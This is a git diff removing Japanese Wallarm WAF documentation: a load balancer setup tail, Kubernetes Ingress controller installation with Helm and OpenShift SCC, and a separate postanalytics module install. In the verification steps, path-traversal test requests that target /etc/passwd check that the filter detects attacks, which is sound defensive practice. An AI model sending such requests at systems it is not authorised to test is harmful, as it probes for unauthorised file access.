**IP**ドロップダウンリストから、ロードバランサーがリクエストを受信するIPアドレスを選択します。 - - 1. 各仮想マシンの起動時にロードバランサーへ新しいIPアドレスを割り当てたい場合は、**Ephemeral**オプションを選択します。 - - 2. ロードバランサー用に静的IPアドレスを割り当てるには、**Create IP address**オプションを選択します。 - - 表示されるフォームの**Name**フィールドに新しいIPアドレスの名前を入力し、**Reserve**ボタンをクリックします。 - - 4. **Port**フィールドに、ロードバランサーがリクエストを受信するポートを入力します。 - - !!! info "ポートの選択" - 本ドキュメントでは、HTTPプロトコル経由のリクエスト受信にポート`80`を指定します。 - - ![新しいフロントエンドIPとポートの作成フォーム][img-new-frontend-ip-and-port] - - 設定したIPアドレスとポートのペアを作成するために**Done**ボタンをクリックします。 - - !!! info "必要なフロントエンドポート" - 本ドキュメントでは、HTTPプロトコル経由のリクエストを受信するようにバランサーを構成しています。インスタンスグループがHTTPSプロトコル経由でリクエストを受信する場合は、ポート`443`を指定した別のIPアドレスとポートのペアを作成します。 - -9. **Create**ボタンをクリックして、構成済みのロードバランサーを作成します。 - - ![TCP Load Balancerの作成][img-creating-tcp-lb] - -ロードバランサーの作成処理が完了し、先ほど作成したインスタンスグループにロードバランサーが接続されるまで待機します。 - -作成したTCPバランサーはBackend service（インスタンスグループ用に作成したバックエンドと連携します）を使用するため、バランサーが接続するためにインスタンスグループ側の設定を変更する必要はありません。 - -これで、動的にスケールするWallarmフィルタリングノード群が、アプリケーションへの受信トラフィックを処理します。 - -デプロイしたフィルタリングノードの動作を確認するには、次の手順を実行します: -1. ブラウザでバランサーのIPアドレスまたはドメイン名にアクセスし、ロードバランサーおよびWallarmフィルタリングノード経由でアプリケーションに到達できることを確認します。 -2. [テスト攻撃を実行][link-test-attack]して、Wallarmサービスがアプリケーションを保護していることを確認します。 - -![WallarmのWebインターフェイスの「Events」タブ][img-checking-attacks] \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-kubernetes-en.md b/docs/latest-ja/admin-en/installation-kubernetes-en.md deleted file mode 100644 index 9f4e1601ea..0000000000 --- a/docs/latest-ja/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,383 +0,0 @@ -# Wallarmサービス統合版NGINX Ingress Controllerのデプロイ - -本手順では、WallarmのNGINXベースIngress controllerをK8sクラスターにデプロイする手順を説明します。ソリューションはWallarmのHelmチャートからデプロイします。 - -本ソリューションは、Wallarmサービスを統合した[Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx)上に構築されています。最新バージョンはCommunity Ingress NGINX Controller 1.11.5およびNGINX stable 1.25.5を使用します。 - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -アーキテクチャは次のとおりです: - -![ソリューションのアーキテクチャ][nginx-ing-image] - -## ユースケース - -サポートされる[Wallarmのデプロイオプション][deployment-platform-docs]の中でも、本ソリューションは以下のユースケースに推奨されます: - -* Ingress controllerが存在せず、[Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx)と互換性のあるIngressリソースへトラフィックをルーティングするセキュリティレイヤーもない場合。 -* 現在Community Ingress NGINX Controllerを使用しており、標準のコントローラー機能に加えて強化されたセキュリティ機能を提供するセキュリティソリューションを探している場合。この場合は、本手順で説明しているWallarm-NGINX Ingress Controllerへ容易に切り替えできます。既存の構成を新しいデプロイに移行するだけで置き換えが完了します。 - - 既存のIngress controllerとWallarm controllerを同時に使用するには、[Ingress Controllerのチェイニングガイド][chaining-doc]の設定情報を参照してください。 - -## 要件 - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -!!! info "関連情報" - * [Ingressとは？](https://kubernetes.io/docs/concepts/services-networking/ingress/) - * [Helmのインストール](https://helm.sh/docs/intro/install/) - -## 既知の制限 - -* postanalyticsモジュールなしでの稼働はサポートしていません。 -* postanalyticsモジュールをスケールダウンすると、攻撃データの一部が失われる可能性があります。 - -## インストール - -1. [インストール](#step-1-installing-the-wallarm-ingress-controller): Wallarm Ingress controllerをインストールします。 -2. [有効化](#step-2-enabling-traffic-analysis-for-your-ingress): Ingressのトラフィック解析を有効化します。 -3. [確認](#step-3-checking-the-wallarm-ingress-controller-operation): Wallarm Ingress controllerの動作を確認します。 - -### 手順1: Wallarm Ingress Controllerのインストール - -Wallarm Ingress Controllerをインストールするには: - -1. [適切な種類][node-token-types]のフィルタリングノードトークンを生成します: - - === "API token（Helm chart 4.6.8以降）" - 1. Wallarm Console → **Settings** → **API tokens**を[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)で開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPI tokenを探すか作成します。 - 1. このトークンをコピーします。 - === "Node token" - 1. Wallarm Console → **Nodes**を[US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のいずれかで開きます。 - 1. **Wallarm node**タイプのフィルタリングノードを作成し、生成されたトークンをコピーします。 - - ![Wallarmノードの作成][nginx-ing-create-node-img] -1. Wallarm Ingress controllerのHelmチャートをデプロイするためのKubernetesのNamespaceを作成します: - - ```bash - kubectl create namespace - ``` -1. [Wallarmのチャートリポジトリ](https://charts.wallarm.com/)を追加します: - - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` - -1. [Wallarmの設定][configure-nginx-ing-controller-docs]を含む`values.yaml`ファイルを作成します。最小構成の例は以下のとおりです。 - - API tokenを使用する場合は、`nodeGroup`パラメーターにノードグループ名を指定します。ノードはWallarm Consoleの**Nodes**セクションに表示されるこのグループに割り当てられます。既定のグループ名は`defaultIngressGroup`です。 - - === "US Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - apiHost: "us1.api.wallarm.com" - # nodeGroup: defaultIngressGroup - ``` - === "EU Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - # nodeGroup: defaultIngressGroup - ``` - - WallarmノードトークンをKubernetesのSecretに保存し、Helmチャートで参照することもできます。[詳細はこちら][controllerwallarmexistingsecret-docs] - - !!! info "独自のレジストリからのデプロイ" - `values.yaml`の要素を上書きし、[独自のレジストリに保存されたイメージ](#deployment-from-your-own-registries)からWallarm Ingress controllerをインストールできます。 - -1. Wallarmパッケージをインストールします: - - ``` bash - helm install --version 6.4.0 wallarm/wallarm-ingress -n -f - ``` - - * ``はIngress controllerチャートのHelmリリース名です - * ``はWallarm Ingress controllerのHelmチャート用に作成したKubernetesのNamespaceです - * ``は`values.yaml`ファイルへのパスです - -### 手順2: Ingressのトラフィック解析を有効化する - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-mode=monitoring -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-application="" -``` -* ``は対象のIngress名です -* ``は対象のIngressのNamespaceです -* ``は[各アプリケーションまたはアプリケーショングループ][application-docs]に固有の正の数値です。これにより、個別の統計を取得し、対応するアプリケーションを狙った攻撃を区別できます - -### 手順3: Wallarm Ingress Controllerの動作確認 - -1. Podの一覧を取得します: - ``` - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - WallarmのPodのステータスは**STATUS: Running**、かつ**READY: N/N**である必要があります: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` -2. Ingress ControllerのServiceにテスト用の[パストラバーサル][ptrav-attack-docs]攻撃リクエストを送信します: - - ```bash - curl http:///etc/passwd - ``` - - フィルタリングノードが`block`モードで動作している場合、レスポンスは`403 Forbidden`となり、攻撃はWallarm Console → **Attacks**に表示されます。 - -## ARM64デプロイ - -NGINX Ingress controllerのHelmチャートバージョン4.8.2から、ARM64プロセッサに対応しています。初期設定はx86アーキテクチャ向けのため、ARM64ノードにデプロイする場合はHelmチャートのパラメーターを調整します。 - -ARM64環境では、Kubernetesノードに`arm64`ラベルが付与されていることがよくあります。KubernetesスケジューラーがWallarmのワークロードを適切なノードタイプに割り当てられるよう、WallarmのHelmチャート設定で`nodeSelector`、`tolerations`、またはaffinityルールを使用してこのラベルを参照します。 - -以下はGoogle Kubernetes Engine（GKE）向けのWallarm Helmチャート例で、対象ノードに`kubernetes.io/arch: arm64`ラベルを利用します。他のクラウド環境でも、それぞれのARM64ラベリング規約に合わせて調整できます。 - -=== "nodeSelector" - ```yaml - controller: - nodeSelector: - kubernetes.io/arch: arm64 - admissionWebhooks: - nodeSelector: - kubernetes.io/arch: arm64 - patch: - nodeSelector: - kubernetes.io/arch: arm64 - wallarm: - postanalytics: - nodeSelector: - kubernetes.io/arch: arm64 - enabled: true - token: "" - apiHost: "us1.api.wallarm.com" # EU Cloudを使用する場合は、この行をコメントアウトしてください - # API tokenを使用する場合は、次の行のコメントを外し、ノードグループ名を指定してください - # nodeGroup: defaultIngressGroup - ``` -=== "tolerations" - ```yaml - controller: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - admissionWebhooks: - patch: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - wallarm: - postanalytics: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - enabled: true - token: "" - apiHost: "us1.api.wallarm.com" # EU Cloudを使用する場合は、この行をコメントアウトしてください - # API tokenを使用する場合は、次の行のコメントを外し、ノードグループ名を指定してください - # nodeGroup: defaultIngressGroup - ``` - -## 独自のレジストリからのデプロイ - -たとえば貴社のセキュリティポリシーで外部リソースの使用が制限されているなどの理由により、WallarmのパブリックリポジトリからDockerイメージをpullできない場合は、代わりに次を実施できます: - -1. それらのイメージをプライベートレジストリへ複製します。 -1. それらを使用してWallarmのNGINXベースIngress controllerをインストールします。 - -NGINXベースIngress Controllerのデプロイで、Helmチャートは以下のDockerイメージを使用します: - -* [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) -* [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) - -レジストリに保存したイメージを使用してWallarmのNGINXベースIngress controllerをインストールするには、Wallarm Ingress controllerのHelmチャートの`values.yaml`を上書きします: - -```yaml -controller: - image: - ## Wallarm NGINX Ingress Controller用のイメージとタグ - ## - registry: - image: wallarm/ingress-controller - tag: - wallarm: - helpers: - ## ヘルパー用イメージとタグ - ## - image: /wallarm/node-helpers - tag: -``` - -その後、変更した`values.yaml`を使用してインストールを実行します。 - -## OpenShiftにおけるSecurity Context Constraints（SCC） - -OpenShiftにNGINX Ingress Controllerをデプロイする際は、プラットフォームのセキュリティ要件に適合するカスタムSecurity Context Constraint（SCC）を定義する必要があります。既定の制約ではWallarmの要件を満たさず、エラーになる可能性があります。 - -以下はWallarm NGINX Ingress Controller向けの推奨カスタムSCCです。 - -!!! warning "コントローラーをデプロイする前にSCCを適用してください" - Wallarm NGINX Ingress controllerをデプロイする前に、必ずSCCを適用してください。 - -1. `wallarm-scc.yaml`ファイルに以下のとおりカスタムSCCを定義します: - - ```yaml - --- - allowHostDirVolumePlugin: false - allowHostIPC: false - allowHostNetwork: false - allowHostPID: false - allowHostPorts: false - allowPrivilegeEscalation: false - allowPrivilegedContainer: false - allowedCapabilities: - - NET_BIND_SERVICE - apiVersion: security.openshift.io/v1 - defaultAddCapabilities: null - fsGroup: - type: MustRunAs - groups: [] - kind: SecurityContextConstraints - metadata: - annotations: - kubernetes.io/description: wallarm-ingress-admission provides features similar to restricted-v2 SCC - but pins user id to 65532 and is more restrictive for volumes - name: wallarm-ingress-admission - priority: null - readOnlyRootFilesystem: false - requiredDropCapabilities: - - ALL - runAsUser: - type: MustRunAs - uid: 65532 - seLinuxContext: - type: MustRunAs - seccompProfiles: - - runtime/default - supplementalGroups: - type: RunAsAny - users: [] - volumes: - - projected - --- - allowHostDirVolumePlugin: false - allowHostIPC: false - allowHostNetwork: false - allowHostPID: false - allowHostPorts: false - allowPrivilegeEscalation: false - allowPrivilegedContainer: false - allowedCapabilities: - - NET_BIND_SERVICE - apiVersion: security.openshift.io/v1 - defaultAddCapabilities: null - fsGroup: - type: MustRunAs - groups: [] - kind: SecurityContextConstraints - metadata: - annotations: - kubernetes.io/description: wallarm-ingress-controller provides features similar to restricted-v2 SCC - but pins user id to 101 and is a little more restrictive for volumes - name: wallarm-ingress-controller - priority: null - readOnlyRootFilesystem: false - requiredDropCapabilities: - - ALL - runAsUser: - type: MustRunAs - uid: 101 - seLinuxContext: - type: MustRunAs - seccompProfiles: - - runtime/default - supplementalGroups: - type: RunAsAny - users: [] - volumes: - - configMap - - secret - - emptyDir - ``` -1. このポリシーをクラスターに適用します: - - ``` - kubectl apply -f wallarm-scc.yaml - ``` -1. NGINX Ingress controllerをデプロイするKubernetesのNamespaceを作成します（例）: - - ```bash - kubectl create namespace wallarm-ingress - ``` -1. Wallarm Ingress controllerのワークロードにこのSCCポリシーの使用を許可します: - - ```bash - oc adm policy add-scc-to-user wallarm-ingress-admission \ - -z -wallarm-ingress-admission -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z -wallarm-ingress -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z default -n wallarm-ingress - ``` - - * ``: `helm install`で使用するHelmリリース名 - * `-n wallarm-ingress`: NGINX Ingress controllerをデプロイするNamespace（上で作成） - - 例: Namespaceが`wallarm-ingress`、Helmリリース名が`wlrm-ingress`の場合: - - ```bash - oc adm policy add-scc-to-user wallarm-ingress-admission \ - -z wlrm-ingress-wallarm-ingress-admission -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z wlrm-ingress-wallarm-ingress -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z default -n wallarm-ingress - ``` -1. 上記と同じNamespaceとHelmリリース名を指定して[Wallarm NGINX Ingress controllerをデプロイ](#installation)します。 -1. WallarmのPodに正しいSCCが適用されていることを確認します: - - ```bash - WALLARM_INGRESS_NAMESPACE="" - POD=$(kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pods -o name -l "app.kubernetes.io/component=controller" | cut -d '/' -f 2) - kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pod ${POD} -o jsonpath='{.metadata.annotations.openshift\.io\/scc}{"\n"}' - - WALLARM_INGRESS_NAMESPACE="" - POD=$(kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pods -o name -l "app.kubernetes.io/component=controller-wallarm-wstore" | cut -d '/' -f 2) - kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pod ${POD} -o jsonpath='{.metadata.annotations.openshift\.io\/scc}{"\n"}' - ``` - - 期待される出力は`wallarm-ingress-controller`です。 - -## 設定 - -Wallarm Ingress controllerのインストールと確認が完了したら、次のような高度な設定を行うことができます: - -* [エンドユーザーのパブリックIPアドレスを正しく取得する][best-practices-for-public-ip] -* [IPアドレスブロッキングの管理][ip-lists-docs] -* [高可用性の考慮事項][best-practices-for-high-availability] -* [Ingress Controllerの監視][best-practices-for-ingress-monitoring] - -高度な設定で使用するパラメーターと手順は、[こちら][configure-nginx-ing-controller-docs]をご確認ください。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-nginx-overview.md b/docs/latest-ja/admin-en/installation-nginx-overview.md deleted file mode 100644 index 8db26065e2..0000000000 --- a/docs/latest-ja/admin-en/installation-nginx-overview.md +++ /dev/null @@ -1,62 +0,0 @@ -# インストールオプションの概要 - -[img-postanalytics-options]: ../images/installation-nginx-overview/postanalytics-options.png -[img-nginx-options]: ../images/installation-nginx-overview/nginx-options.png - -[anchor-mod-overview]: #modules-overview -[anchor-mod-installation]: #installing-and-configuring-the-modules -[anchor-mod-inst-nginx]: #module-for-nginx -[anchor-mod-inst-nginxplus]: #module-for-nginx-plus -[anchor-mod-inst-postanalytics]: #postanalytics-module - -[link-ig-nginx]: ../installation/nginx/dynamic-module.md -[link-ig-nginx-distr]: ../installation/nginx/dynamic-module-from-distr.md -[link-ig-nginxplus]: ../installation/nginx-plus.md - - - -NGINXまたはNGINX Plusと併用するWallarmフィルタリングノードは、次のモジュールで構成されます。 -* NGINX（NGINX Plus）に接続するモジュール -* postanalyticsモジュール - -モジュールのインストールと設定の順序は、NGINXまたはNGINX Plusのインストール方法に依存します。 - -本ドキュメントには次のセクションが含まれます。 - -* [モジュールの概要][anchor-mod-overview] -* 各モジュールのインストールおよび設定手順への[リンク][anchor-mod-installation] - -## モジュールの概要 - -フィルタリングノードでリクエストを処理する場合、受信トラフィックは初期処理を経て、順にWallarmモジュールによる処理に進みます。 - -1. 初期のトラフィック処理は、システムにすでにインストールされている[NGINX][anchor-mod-inst-nginx]または[NGINX Plus][anchor-mod-inst-nginxplus]に接続するモジュールが実行します。 -2. 以降のトラフィック処理は[postanalyticsモジュール][anchor-mod-inst-postanalytics]が実行します。このモジュールは適切に動作するために多くのメモリを必要とします。そのため、次のいずれかのインストールオプションを選択できます。 - * NGINX/NGINX Plusと同じサーバーにインストール（サーバー構成が許す場合） - * NGINX/NGINX Plusとは別のサーバー群にインストール - -![postanalyticsモジュールのインストールオプション][img-postanalytics-options] - -## モジュールのインストールと設定 - -### NGINX用モジュール - -!!! warning "インストールするモジュールの選択" - Wallarmモジュールのインストールおよび接続手順は、ご利用のNGINXのインストール方法に依存します。 - -NGINX用のWallarmモジュールは、次のいずれかの方法で接続できます（各インストールオプションの手順へのリンクは括弧内に記載しています）。 - -![NGINX用モジュールのインストールオプション][img-nginx-options] - -* ソースファイルからNGINXをビルド（[手順][link-ig-nginx]） -* NGINXリポジトリからNGINXパッケージをインストール（[手順][link-ig-nginx]） -* DebianリポジトリからNGINXパッケージをインストール（[手順][link-ig-nginx-distr]） -* CentOSリポジトリからNGINXパッケージをインストール（[手順][link-ig-nginx-distr]） - -### NGINX Plus用モジュール - -これらの[手順][link-ig-nginxplus]では、WallarmをNGINX Plusモジュールに接続する方法を説明します。 - -### postanalyticsモジュール - -postanalyticsモジュールのインストールおよび設定（NGINX/NGINX Plusと同一サーバー、または別サーバー）の手順は、[NGINX][anchor-mod-inst-nginx]モジュールのインストールセクションおよび[NGINX Plus][anchor-mod-inst-nginxplus]モジュールのインストールセクションに記載しています。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-postanalytics-en.md b/docs/latest-ja/admin-en/installation-postanalytics-en.md deleted file mode 100644 index fdbdf77d91..0000000000 --- a/docs/latest-ja/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1,426 +0,0 @@ -[configure-selinux-instr]: configure-selinux.md -[configure-proxy-balancer-instr]: configuration-guides/access-to-wallarm-api-via-proxy.md -[img-wl-console-users]: ../images/check-user-no-2fa.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# postanalyticsモジュールの分離インストール - -Wallarmのリクエスト処理には2つの段階があり、統計的なリクエスト解析を行うpostanalytics段階を含みます。postanalyticsはメモリ使用量が多く、性能最適化のために専用サーバーで実行する必要が生じる場合があります。本記事では、postanalyticsモジュールを別サーバーにインストールする方法を説明します。 - -## 概要 - -Wallarmノードでのリクエスト処理は次の2段階で構成されます: - -* メモリ負荷の小さい一次処理はNGINX‑Wallarmモジュールで実行され、サーバー要件を変更することなくフロントエンドサーバー上で実行できます。 -* 処理済みリクエストの統計解析はメモリ負荷が高く、postanalyticsモジュールで実行されます。 - -以下の図は、同一サーバーにインストールした場合と異なるサーバーにインストールした場合のモジュール間の連携を示します。 - -=== "1台のサーバー上のNGINX‑Wallarmとpostanalytics" - ![postanalyticsとnginx-wallarm間のトラフィックフロー](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-the-same-server.png) -=== "異なるサーバー上のNGINX‑Wallarmとpostanalytics" - ![postanalyticsとnginx-wallarm間のトラフィックフロー](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-different-servers.png) - -## 要件 - ---8<-- "../include/waf/installation/all-in-one/separate-postanalytics-reqs.md" - -## Step 1: オールインワンWallarmインストーラーをダウンロード - -オールインワンのWallarmインストールスクリプトをダウンロードするには、次のコマンドを実行します: - -=== "x86_64版" - ```bash - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.x86_64-glibc.sh - ``` -=== "ARM64版" - ```bash - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.aarch64-glibc.sh - ``` - -## Step 2: Wallarmトークンを準備 - -ノードをインストールするには、[適切な種類][wallarm-token-types]のWallarmトークンが必要です。トークンを準備します: - -=== "APIトークン" - - 1. Wallarm Console → **Settings** → **API tokens**を[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)で開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを探すか作成します。 - 1. このトークンをコピーします。 - -=== "ノードトークン" - - 1. Wallarm Console → **Nodes**を[US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)で開きます。 - 1. 次のいずれかを実行します: - * **Wallarm node**タイプのノードを作成し、生成されたトークンをコピーします。 - * 既存のノードグループを使用する場合は、ノードのメニュー → **Copy token**からトークンをコピーします。 - -## Step 3: オールインワンWallarmインストーラーを実行してpostanalyticsをインストール - -オールインワンインストーラーでpostanalyticsを分離インストールするには、次を使用します: - -=== "APIトークン" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh postanalytics - ``` - - 変数`WALLARM_LABELS`はノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグルーピングするために使用されます）。 - -=== "ノードトークン" - ```bash - # x86_64版を使用する場合: - sudo sh wallarm-6.4.1.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合: - sudo sh wallarm-6.4.1.aarch64-glibc.sh postanalytics - ``` - -## Step 4: postanalyticsモジュールを構成 - -### リソースとメモリ - -wstoreが使用するメモリ量を変更するには、`/opt/wallarm/env.list`ファイル内の`SLAB_ALLOC_ARENA`設定を確認します。既定では1 GBに設定されています。必要に応じて、wstoreが実際に必要とするメモリ量に合わせて数値を調整できます。設定値の目安は、[推奨事項](configuration-guides/allocate-resources-for-node.md)を参照してください。 - -割り当てメモリを変更するには: - -1. `/opt/wallarm/env.list`ファイルを編集用に開きます: - - ```bash - sudo vim /opt/wallarm/env.list - ``` -1. `SLAB_ALLOC_ARENA`属性にメモリサイズを設定します。値は整数または浮動小数（小数点はドット`.`）が使用できます。例: - - ``` - SLAB_ALLOC_ARENA=2.0 - ``` - -### ホストとポート - -既定では、postanalyticsモジュールはホストのすべてのIPv4アドレス（0.0.0.0）でポート3313による接続を受け付けるように設定されています。必要がない限り、既定の構成を維持することを推奨します。 - -ただし、既定の構成を変更する必要がある場合は: - -1. postanalyticsサービスのマシンで`/opt/wallarm/wstore/wstore.yaml`ファイルを編集用に開きます: - - ```bash - sudo vim /opt/wallarm/wstore/wstore.yaml - ``` -1. `service.address`パラメータに新しいIPアドレスとポートの値を指定します。例: - - ```yaml - service: - address: 192.158.1.38:3313 - ``` - - `service.address`パラメータには以下の形式を指定できます: - - * IPアドレス:ポート（例: `192.158.1.38:3313`） - * すべてのIP上の特定ポート（例: `:3313`） -1. postanalyticsサービスのマシンで`/opt/wallarm/etc/wallarm/node.yaml`ファイルを編集用に開きます: - - ```bash - sudo vim /opt/wallarm/etc/wallarm/node.yaml - ``` -1. `wstore.host`と`wstore.port`パラメータに新しいIPアドレスとポートの値を指定します。例: - ```yaml - api: - uuid: - secret: - wstore: - host: '0.0.0.0' - port: 3300 - ``` - -## Step 5: postanalyticsモジュールへの受信接続を有効化 - -postanalyticsモジュールは既定でポート3313を使用しますが、クラウドプラットフォームによってはこのポートでの受信接続をブロックする場合があります。 - -連携を確実にするため、ポート3313またはカスタムポートでの受信接続を許可してください。これは、別にインストールされたNGINX‑Wallarmモジュールがwstoreインスタンスに接続するために不可欠です。 - -## Step 6: Wallarmサービスを再起動 - -必要な変更を加えたら、postanalyticsモジュールをホストするマシンでWallarmサービスを再起動して更新を適用します: - -``` -sudo systemctl restart wallarm.service -``` - -## Step 7: 別サーバーにNGINX‑Wallarmモジュールをインストール - -postanalyticsモジュールを別サーバーにインストールしたら: - -1. 対応する[ガイド](../installation/nginx/all-in-one.md)に従って、別サーバーにNGINX‑Wallarmモジュールをインストールします。 -1. 別サーバーでNGINX‑Wallarmモジュールのインストールスクリプトを起動する際、`filtering`オプションを指定します。例: - - === "APIトークン" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh filtering - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh filtering - ``` - - 変数`WALLARM_LABELS`はノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグルーピングするために使用されます）。 - - === "ノードトークン" - ```bash - # x86_64版を使用する場合: - sudo sh wallarm-6.4.1.x86_64-glibc.sh filtering - - # ARM64版を使用する場合: - sudo sh wallarm-6.4.1.aarch64-glibc.sh filtering - ``` - -## Step 8: NGINX‑Wallarmモジュールをpostanalyticsモジュールに接続 - -NGINX‑Wallarmモジュールのあるマシンで、NGINXの[設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)（通常は`/etc/nginx/nginx.conf`）にpostanalyticsモジュールのサーバーアドレスを指定します: - -``` -http { - # omitted - - upstream wallarm_wstore { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - wallarm_wstore_upstream wallarm_wstore; - - # omitted -} -``` - -* 過剰な接続の生成を防ぐため、各upstreamのwstoreサーバーに対して`max_conns`の値を指定する必要があります。 -* `keepalive`の値はwstoreサーバーの台数未満にしてはいけません。 - -設定ファイルを変更したら、NGINX‑WallarmモジュールサーバーでNGINX/NGINX Plusを再起動します: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## Step 9: NGINX‑Wallarmと分離postanalyticsモジュールの連携を確認 - -NGINX‑Wallarmと分離postanalyticsモジュールの連携を確認するには、保護対象アプリケーションのアドレスにテスト攻撃付きのリクエストを送信します: - -```bash -curl http://localhost/etc/passwd -``` - -NGINX‑Wallarmと分離postanalyticsモジュールが正しく構成されていれば、攻撃はWallarm Cloudにアップロードされ、Wallarm Consoleの**Attacks**セクションに表示されます: - -![インターフェイスのAttacks](../images/admin-guides/test-attacks-quickstart.png) - -攻撃がWallarm Cloudにアップロードされなかった場合、サービスの動作にエラーがないか確認してください: - -* postanalyticsモジュールのログを確認します - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/wstore-out.log - ``` - - `SystemError binary: failed to bind: Cannot assign requested address`のような記録があれば、指定したアドレスとポートでサーバーが接続を受け付けていることを確認してください。 -* NGINX‑Wallarmモジュールのサーバーで、NGINXのログを確認します: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - `[error] wallarm:
        connect() failed`のような記録があれば、NGINX‑Wallarmモジュールの設定ファイルで分離postanalyticsモジュールのアドレスが正しく指定されていること、および分離postanalyticsサーバーが指定したアドレスとポートで接続を受け付けていることを確認してください。 -* NGINX‑Wallarmモジュールのサーバーで、以下のコマンドを使用して処理済みリクエストの統計を取得し、`tnt_errors`の値が0であることを確認します - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [統計サービスが返す全パラメータの説明 →](configure-statistics-service.md) - -## NGINX‑Wallarmモジュールとpostanalyticsモジュール間のSSL/TLSおよびmTLS - -任意で、NGINX‑Wallarmモジュールとpostanalytics間にSSL/TLSによる安全な接続を確立できます。片方向のサーバー証明書検証と相互TLSの両方に対応しています。 - -リリース6.2.0以降で利用可能です。 - -### postanalyticsモジュールへのSSL/TLS接続 - -NGINX‑Wallarmモジュールからpostanalyticsモジュールへの安全なSSL/TLS接続を有効にするには: - -1. 稼働中のpostanalyticsモジュールのホストのFQDNまたはIPアドレスに対してサーバー証明書を発行します。 -1. postanalyticsサーバーで、`/opt/wallarm/wstore/wstore.yaml`ファイルにてSSL/TLSを有効にします: - - ```yaml - service: - TLS: - enabled: true - address: 0.0.0.0:6388 - certFile: "/opt/wallarm/wstore/wstore.crt" - keyFile: "/opt/wallarm/wstore/wstore.key" - # caCertFile: "/opt/wallarm/wstore/wstore-ca.crt" - ``` - - * `enabled`: postanalyticsモジュールのSSL/TLSを有効化または無効化します。既定は`false`です。 - * `address`: postanalyticsモジュールが受け付けるTLS着信接続のアドレスとポート。指定したアドレスは受信接続を許可している必要があります。 - * `certFile`: TLSハンドシェイク時にクライアント（NGINX‑Wallarmモジュール）へ提示するサーバー証明書のパス。 - * `keyFile`: サーバー証明書に対応する秘密鍵のパス。 - * `caCertFile`（任意）: サーバー用のカスタムCA証明書のパス。 -1. postanalyticsサーバーでWallarmサービスを再起動します: - - ``` - sudo systemctl restart wallarm.service - ``` 